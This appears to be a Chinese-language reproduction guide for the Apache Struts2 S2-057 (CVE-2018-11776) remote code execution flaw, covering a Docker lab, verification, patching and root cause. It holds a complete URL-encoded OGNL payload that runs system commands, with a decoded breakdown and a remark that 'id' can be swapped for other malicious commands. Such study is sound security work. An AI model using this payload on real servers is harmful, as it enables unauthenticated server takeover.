Struts2-057 (CVE-2018-11776) 远程代码执行漏洞复现
字数 1224 2025-08-15 21:32:35

Struts2-057 (CVE-2018-11776) 远程代码执行漏洞分析与复现指南

1. 漏洞概述

Struts2-057 (CVE-2018-11776) 是Apache Struts2框架中的一个严重远程代码执行漏洞,影响Struts2的某些版本。该漏洞源于Struts2在处理某些特殊URL请求时的缺陷,攻击者可以构造恶意请求实现远程代码执行。

2. 受影响版本

  • Struts 2.3 - Struts 2.3.34
  • Struts 2.5 - Struts 2.5.16

3. 漏洞环境搭建

使用Docker搭建测试环境

  1. 启动漏洞环境容器:

    docker pull vulnerables/struts2-showcase
    docker run -d -p 8080:8080 vulnerables/struts2-showcase
    
  2. 验证环境是否正常运行:
    访问 http://[your-ip]:8080/struts2-showcase 应能看到Struts2展示页面

4. 漏洞验证方法

基本验证

访问以下URL测试漏洞是否存在:

http://[your-ip]:8080/struts2-showcase/${(111+111)}/actionChain1.action

预期结果
如果页面重定向到 /struts2-showcase/222/register2.action,说明表达式 ${(111+111)} 被成功执行并计算为222,表明存在Struts2-057漏洞。

5. 漏洞利用

远程代码执行POC

构造以下恶意URL执行系统命令(示例中执行id命令):

http://[your-ip]:8080/struts2-showcase/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

POC解码分析

URL解码后的核心攻击载荷:

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).
(#ou.getExcludedClasses().clear()).
(#ct.setMemberAccess(#dm)).
(#a=@java.lang.Runtime@getRuntime().exec('id')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

攻击载荷解析

  1. 获取OgnlContext的默认成员访问权限
  2. 获取当前请求的ValueStack上下文
  3. 获取ActionContext容器实例
  4. 获取OgnlUtil实例
  5. 清除被排除的包名和类名限制
  6. 设置成员访问权限
  7. 通过Runtime执行系统命令
  8. 读取命令执行结果并输出

6. 漏洞修复方案

官方修复

升级到以下安全版本:

  • Struts 2.3.35
  • Struts 2.5.17 或更高版本

临时缓解措施

如果无法立即升级:

  1. 限制访问Struts2的命名空间和顶级命名空间
  2. 在Web应用防火墙(WAF)中添加规则拦截包含OGNL表达式的请求
  3. 禁用动态方法调用(DMI)

7. 漏洞原理分析

该漏洞源于Struts2在处理重定向结果时,对用户可控的URL参数未进行充分过滤,导致攻击者可以通过构造特殊的OGNL表达式实现远程代码执行。具体来说:

  1. 当Struts2配置中使用了没有设置命名空间或使用通配符命名空间的Action
  2. 且上层Action配置中未设置或使用通配符命名空间
  3. 且请求的URL中包含了恶意构造的OGNL表达式

满足以上条件时,Struts2会将用户输入的URL参数作为OGNL表达式解析执行,从而导致远程代码执行漏洞。

8. 注意事项

  1. 复现此漏洞时应在授权环境下进行
  2. 实际攻击中可替换id命令为其他恶意命令
  3. 该漏洞利用不需要任何身份验证
  4. 攻击成功后可能完全控制服务器,需高度重视

9. 参考资源

  • Apache Struts2官方安全公告
  • CVE-2018-11776漏洞详情
  • OGNL表达式注入相关技术文档
Struts2-057 (CVE-2018-11776) 远程代码执行漏洞分析与复现指南 1. 漏洞概述 Struts2-057 (CVE-2018-11776) 是Apache Struts2框架中的一个严重远程代码执行漏洞,影响Struts2的某些版本。该漏洞源于Struts2在处理某些特殊URL请求时的缺陷,攻击者可以构造恶意请求实现远程代码执行。 2. 受影响版本 Struts 2.3 - Struts 2.3.34 Struts 2.5 - Struts 2.5.16 3. 漏洞环境搭建 使用Docker搭建测试环境 启动漏洞环境容器: 验证环境是否正常运行: 访问 http://[your-ip]:8080/struts2-showcase 应能看到Struts2展示页面 4. 漏洞验证方法 基本验证 访问以下URL测试漏洞是否存在: 预期结果 : 如果页面重定向到 /struts2-showcase/222/register2.action ,说明表达式 ${(111+111)} 被成功执行并计算为222,表明存在Struts2-057漏洞。 5. 漏洞利用 远程代码执行POC 构造以下恶意URL执行系统命令(示例中执行 id 命令): POC解码分析 URL解码后的核心攻击载荷: 攻击载荷解析 获取OgnlContext的默认成员访问权限 获取当前请求的ValueStack上下文 获取ActionContext容器实例 获取OgnlUtil实例 清除被排除的包名和类名限制 设置成员访问权限 通过Runtime执行系统命令 读取命令执行结果并输出 6. 漏洞修复方案 官方修复 升级到以下安全版本: Struts 2.3.35 Struts 2.5.17 或更高版本 临时缓解措施 如果无法立即升级: 限制访问Struts2的命名空间和顶级命名空间 在Web应用防火墙(WAF)中添加规则拦截包含OGNL表达式的请求 禁用动态方法调用(DMI) 7. 漏洞原理分析 该漏洞源于Struts2在处理重定向结果时,对用户可控的URL参数未进行充分过滤,导致攻击者可以通过构造特殊的OGNL表达式实现远程代码执行。具体来说: 当Struts2配置中使用了没有设置命名空间或使用通配符命名空间的Action 且上层Action配置中未设置或使用通配符命名空间 且请求的URL中包含了恶意构造的OGNL表达式 满足以上条件时,Struts2会将用户输入的URL参数作为OGNL表达式解析执行,从而导致远程代码执行漏洞。 8. 注意事项 复现此漏洞时应在授权环境下进行 实际攻击中可替换 id 命令为其他恶意命令 该漏洞利用不需要任何身份验证 攻击成功后可能完全控制服务器,需高度重视 9. 参考资源 Apache Struts2官方安全公告 CVE-2018-11776漏洞详情 OGNL表达式注入相关技术文档